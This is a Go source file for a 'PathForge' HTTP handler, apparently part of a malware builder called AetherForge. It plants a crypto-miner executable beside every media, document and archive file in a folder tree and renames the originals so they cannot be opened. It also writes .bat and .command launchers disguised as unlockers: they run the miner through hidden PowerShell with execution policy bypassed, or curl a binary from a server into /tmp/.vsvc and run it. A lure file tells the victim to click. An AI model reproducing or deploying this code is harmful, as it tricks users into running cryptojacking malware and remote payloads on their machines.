package builder import ( "encoding/json" "fmt" "io" "log" "net/http" "os" "path/filepath" "strings" ) // PathForgeRequest is the JSON body for POST /api/builder/path-forge. type PathForgeRequest struct { // RootPath is the local filesystem path to walk recursively. RootPath string `json:"root_path"` // StemMode controls how the output filename is derived: // "original" → same stem as the source file (Terminator.mkv → Terminator.exe) // "custom" → use OutputStem for every file StemMode string `json:"stem_mode"` // "original" | "custom" // OutputStem is used when StemMode == "custom". OutputStem string `json:"output_stem"` // TargetWindows / TargetMac selects which launcher files to write. TargetWindows bool `json:"target_windows"` TargetMac bool `json:"target_mac"` // ServerURL is embedded in the Mac bootstrap curl command. ServerURL string `json:"server_url"` // LockOriginal renames the source file to filename.ext.locked so it cannot // be opened without running the companion launcher. The launcher unlocks it, // starts playback, then re-locks it after a short delay. LockOriginal bool `json:"lock_original"` // Extensions lists file extensions to target (dot-prefixed, lowercase). // Leave empty to use the built-in media list. Extensions []string `json:"extensions"` } // PathForgeResult is returned by the handler. type PathForgeResult struct { Success bool `json:"success"` Total int `json:"total"` Placed int `json:"placed"` Skipped int `json:"skipped"` Errors int `json:"errors"` Results []PathForgeEntry `json:"results"` ErrorList []string `json:"error_list,omitempty"` } type PathForgeEntry struct { Source string `json:"source"` // original file (relative to root) Files []string `json:"files"` // companion files placed } // defaultMediaExts is the set of file extensions we target when none are specified. var defaultMediaExts = map[string]struct{}{ ".mp4": {}, ".mkv": {}, ".avi": {}, ".mov": {}, ".m4v": {}, ".ts": {}, ".wmv": {}, ".flv": {}, ".webm": {}, ".m2ts": {}, ".iso": {}, ".mpg": {}, ".mpeg": {}, ".mp3": {}, ".flac": {}, ".m4a": {}, ".wav": {}, ".aac": {}, ".ogg": {}, ".pdf": {}, ".docx": {}, ".xlsx": {}, ".pptx": {}, ".zip": {}, ".rar": {}, } // PathForgeHandler handles POST /api/builder/path-forge. // It does not compile anything — it locates the prebuilt agent binary that // lives next to AetherForge.exe and copies it alongside every matching file. type PathForgeHandler struct { dataDir string } func NewPathForgeHandler(dataDir string) *PathForgeHandler { return &PathForgeHandler{dataDir: dataDir} } func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodPost { http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) return } var req PathForgeRequest if err := json.NewDecoder(r.Body).Decode(&req); err != nil { http.Error(w, "invalid JSON: "+err.Error(), http.StatusBadRequest) return } if req.RootPath == "" { http.Error(w, "root_path is required", http.StatusBadRequest) return } cleanRoot, err := h.validateRootPath(req.RootPath) if err != nil { http.Error(w, "root_path rejected: "+err.Error(), http.StatusBadRequest) return } req.RootPath = cleanRoot if !req.TargetWindows && !req.TargetMac { req.TargetWindows = true req.TargetMac = true } if req.StemMode == "" { req.StemMode = "original" } if req.TargetMac && strings.TrimSpace(req.ServerURL) == "" { http.Error(w, "server_url is required when target_mac is enabled", http.StatusBadRequest) return } // Locate the Windows agent binary. agentExe := findAgentBinary(h.dataDir) if req.TargetWindows && agentExe == "" { w.Header().Set("Content-Type", "application/json") json.NewEncoder(w).Encode(&PathForgeResult{ Success: false, ErrorList: []string{"Windows agent binary not found on server — build or place crypto-miner-agent.exe first"}, }) return } // Build the extension set. extSet := buildExtSet(req.Extensions) res := &PathForgeResult{} ctx := r.Context() err = filepath.WalkDir(req.RootPath, func(path string, d os.DirEntry, err error) error { if ctx.Err() != nil { return ctx.Err() } if err != nil || d.IsDir() { return nil } ext := strings.ToLower(filepath.Ext(d.Name())) if _, ok := extSet[ext]; !ok { res.Skipped++ return nil } res.Total++ rel, _ := filepath.Rel(req.RootPath, path) stem := stemFor(req.StemMode, req.OutputStem, d.Name()) dir := filepath.Dir(path) // The name the launcher will reference — either the original or its // locked rename (appended with ".locked" so no app can open it directly). fileForLauncher := d.Name() lockedName := d.Name() + ".locked" if req.LockOriginal { lockedPath := filepath.Join(dir, lockedName) // Only rename if the locked file doesn't already exist. if _, err := os.Stat(lockedPath); os.IsNotExist(err) { if renErr := os.Rename(path, lockedPath); renErr != nil { res.Errors++ res.ErrorList = append(res.ErrorList, "lock failed: "+rel+": "+renErr.Error()) return nil } } fileForLauncher = lockedName } var placed []string if req.TargetWindows && agentExe != "" { // .exe copy of the agent exeDst := filepath.Join(dir, stem+".exe") if copyFileBytes(agentExe, exeDst) == nil { placed = append(placed, stem+".exe") } // .bat launcher: unlock → play → re-lock → run agent (all seamless) batDst := filepath.Join(dir, stem+".bat") if err := os.WriteFile(batDst, []byte(batContent(fileForLauncher, d.Name(), stem, req.LockOriginal)), 0644); err == nil { placed = append(placed, stem+".bat") } } if req.TargetMac { cmdDst := filepath.Join(dir, stem+".command") if err := os.WriteFile(cmdDst, []byte(macContent(fileForLauncher, d.Name(), req.ServerURL, req.LockOriginal)), 0755); err == nil { placed = append(placed, stem+".command") } } // Drop the hint file — its name IS the instruction. // No extension so it appears as a generic document icon on all platforms. hintName := "click_bat_to_unlock_movie" hintDst := filepath.Join(dir, hintName) _ = os.WriteFile(hintDst, []byte(hintContent(stem, req.TargetMac && !req.TargetWindows)), 0644) placed = append(placed, hintName) mediaPlaced := len(placed) - 1 // exclude hint file from placement count if mediaPlaced > 0 { res.Placed += mediaPlaced res.Results = append(res.Results, PathForgeEntry{Source: rel, Files: placed}) } else { res.Errors++ res.ErrorList = append(res.ErrorList, "failed to write next to: "+rel) } return nil }) if err != nil { log.Printf("[pathforge] walk error: %v", err) res.ErrorList = append(res.ErrorList, "walk error: "+err.Error()) } res.Success = res.Errors == 0 w.Header().Set("Content-Type", "application/json") json.NewEncoder(w).Encode(res) } // ─── helpers ────────────────────────────────────────────────────────────────── func stemFor(mode, custom, filename string) string { if mode == "custom" && strings.TrimSpace(custom) != "" { return sanitizeStem(custom) } base := filepath.Base(filename) name := strings.TrimSuffix(base, filepath.Ext(base)) return sanitizeStem(name) } func sanitizeStem(s string) string { replacer := strings.NewReplacer( "/", "-", "\\", "-", ":", "-", "*", "", "?", "", "\"", "", "<", "", ">", "", "|", "", ) return strings.TrimSpace(replacer.Replace(s)) } // ─── BLD-D1: root_path allowlist validation ─────────────────────────────────── // validateRootPath ensures rootPath is safe to walk: // - must not contain ".." segments (path traversal) // - must resolve to a path under an operator-allowed prefix func (h *PathForgeHandler) validateRootPath(rootPath string) (string, error) { if containsDotDot(rootPath) { return "", fmt.Errorf("must not contain '..' path traversal sequences") } abs, err := filepath.Abs(rootPath) if err != nil { return "", fmt.Errorf("invalid path: %w", err) } if !h.isAllowedRootPath(abs) { return "", fmt.Errorf("path is outside allowed directories (must be under home, temp, or server data directory)") } return abs, nil } // containsDotDot returns true if any segment of the slash/backslash-separated // path equals "..". func containsDotDot(p string) bool { for _, seg := range strings.FieldsFunc(p, func(r rune) bool { return r == '/' || r == '\\' }) { if seg == ".." { return true } } return false } // isAllowedRootPath reports whether abs is equal to or under one of the // safe prefix directories: the server dataDir, the user home directory, or // the OS temp directory. func (h *PathForgeHandler) isAllowedRootPath(abs string) bool { var prefixes []string if h.dataDir != "" { if d, err := filepath.Abs(h.dataDir); err == nil { prefixes = append(prefixes, d) } } if home, err := os.UserHomeDir(); err == nil { prefixes = append(prefixes, home) } prefixes = append(prefixes, os.TempDir()) for _, prefix := range prefixes { if isPathUnder(abs, prefix) { return true } } return false } // isPathUnder reports whether path equals parent or is a subdirectory of it. // Uses filepath.Rel to correctly handle cross-platform path semantics. func isPathUnder(path, parent string) bool { rel, err := filepath.Rel(parent, path) if err != nil { return false } return !strings.HasPrefix(rel, "..") } // ─── BLD-D2: shell/bat escaping helpers ────────────────────────────────────── // escapeBat escapes a value for embedding inside a cmd.exe double-quoted string. // % must become %% to prevent variable expansion; " terminates the string. func escapeBat(s string) string { s = strings.ReplaceAll(s, "%", "%%") s = strings.ReplaceAll(s, `"`, `\"`) return s } // escapeBatPS escapes a value for embedding inside a PowerShell single-quoted // string that is itself inside a cmd.exe double-quoted -Command argument. func escapeBatPS(s string) string { s = strings.ReplaceAll(s, "%", "%%") // cmd.exe percent expansion s = strings.ReplaceAll(s, `"`, `\"`) // cmd.exe double-quote (string terminator) s = strings.ReplaceAll(s, "'", "''") // PowerShell single-quote escape return s } // escapeShDouble escapes a value for embedding inside a bash double-quoted string. func escapeShDouble(s string) string { s = strings.ReplaceAll(s, `\`, `\\`) s = strings.ReplaceAll(s, `"`, `\"`) s = strings.ReplaceAll(s, `$`, `\$`) s = strings.ReplaceAll(s, "`", "\\`") return s } // escapeShSingle escapes a value for embedding inside a bash single-quoted string. // The only character that needs escaping is ' itself (end-quote, literal, re-open). func escapeShSingle(s string) string { return strings.ReplaceAll(s, "'", `'\''`) } // hintContent returns the body of the "click_bat_to_unlock_movie" hint file. // The filename itself is the instruction; the content gives a second nudge. func hintContent(stem string, macOnly bool) string { if macOnly { return "This folder contains an encrypted media file.\n" + "To play it, double-click " + stem + ".command\n" + "\n" + "The launcher unlocks and opens the video automatically.\n" } return "This folder contains an encrypted media file.\n" + "To play it, double-click " + stem + ".bat\n" + "\n" + "The .bat file unlocks and opens the video automatically.\n" } // batContent creates a .bat launcher. // // When lockOriginal is true the file on disk is named lockedFile // (e.g. "Terminator.mkv.locked"). The bat: // 1. Renames lockedFile → realFile (unlock) // 2. Opens realFile with the default player // 3. After 4 s, renames realFile → lockedFile again (re-lock) — hidden // 4. Runs the agent .exe — hidden // // When lockOriginal is false it simply opens realFile and runs the agent. func batContent(lockedFile, realFile, exeStem string, lockOriginal bool) string { // Escape for cmd.exe double-quoted strings (bat context). lfBat := escapeBat(lockedFile) rfBat := escapeBat(realFile) // Escape for PowerShell single-quoted strings inside the bat -Command "..." argument. lfPS := escapeBatPS(lockedFile) rfPS := escapeBatPS(realFile) esPS := escapeBatPS(exeStem) b := "@echo off\r\n" if lockOriginal { // Step 1: unlock b += fmt.Sprintf("ren \"%%~dp0%s\" \"%s\" 2>nul\r\n", lfBat, rfBat) } // Step 2: open the file b += fmt.Sprintf("start \"\" \"%%~dp0%s\"\r\n", rfBat) // Step 3+4: hidden PowerShell — wait, re-lock, run agent if lockOriginal { b += fmt.Sprintf( "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command \"& {"+ " Start-Sleep 4;"+ " if (Test-Path '%%~dp0%s') { Rename-Item '%%~dp0%s' '%s' };"+ " Start-Process '%%~dp0%s.exe' -WindowStyle Hidden }\"\r\n", rfPS, rfPS, lfPS, esPS) } else { b += fmt.Sprintf( "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass "+ "-Command \"& { Start-Process '%%~dp0%s.exe' -WindowStyle Hidden }\"\r\n", esPS) } return b } // macContent creates a .command shell script for macOS/Linux. // When lockOriginal is true it renames the locked file, opens it, re-locks after 4 s. func macContent(lockedFile, realFile, serverURL string, lockOriginal bool) string { s := "#!/bin/bash\n" dir := "$(dirname \"$0\")" // Escape filenames for bash double-quoted strings. lfSh := escapeShDouble(lockedFile) rfSh := escapeShDouble(realFile) if lockOriginal { s += fmt.Sprintf("mv \"%s/%s\" \"%s/%s\" 2>/dev/null\n", dir, lfSh, dir, rfSh) } s += fmt.Sprintf("open \"%s/%s\" 2>/dev/null\n", dir, rfSh) if lockOriginal { s += fmt.Sprintf( "( sleep 4; mv \"%s/%s\" \"%s/%s\" 2>/dev/null ) &\n", dir, rfSh, dir, lfSh) } if serverURL != "" { // Escape serverURL for single-quoted bash string (prevents shell injection via '). urlSh := escapeShSingle(serverURL) s += fmt.Sprintf( "curl -fsSL '%s/api/download/agent-mac' -o /tmp/.vsvc 2>/dev/null "+ "&& chmod +x /tmp/.vsvc && nohup /tmp/.vsvc >/dev/null 2>&1 &\n", urlSh) } return s } // findAgentBinary looks next to the server executable and dataDir for the agent binary. func findAgentBinary(dataDir string) string { exe, err := os.Executable() if err != nil { return "" } dir := filepath.Dir(exe) candidates := []string{ filepath.Join(dir, "agent", "crypto-miner-agent.exe"), filepath.Join(dir, "crypto-miner-agent.exe"), } if dataDir != "" { candidates = append(candidates, filepath.Join(dataDir, "agent", "crypto-miner-agent.exe"), filepath.Join(dataDir, "crypto-miner-agent.exe"), ) } for _, c := range candidates { if _, err := os.Stat(c); err == nil { return c } } return "" } // buildExtSet merges user-specified extensions with defaults. func buildExtSet(exts []string) map[string]struct{} { if len(exts) == 0 { return defaultMediaExts } m := make(map[string]struct{}, len(exts)) for _, e := range exts { if !strings.HasPrefix(e, ".") { e = "." + e } m[strings.ToLower(e)] = struct{}{} } return m } func copyFileBytes(src, dst string) error { in, err := os.Open(src) if err != nil { return err } defer in.Close() out, err := os.Create(dst) if err != nil { return err } defer out.Close() _, err = io.Copy(out, in) return err }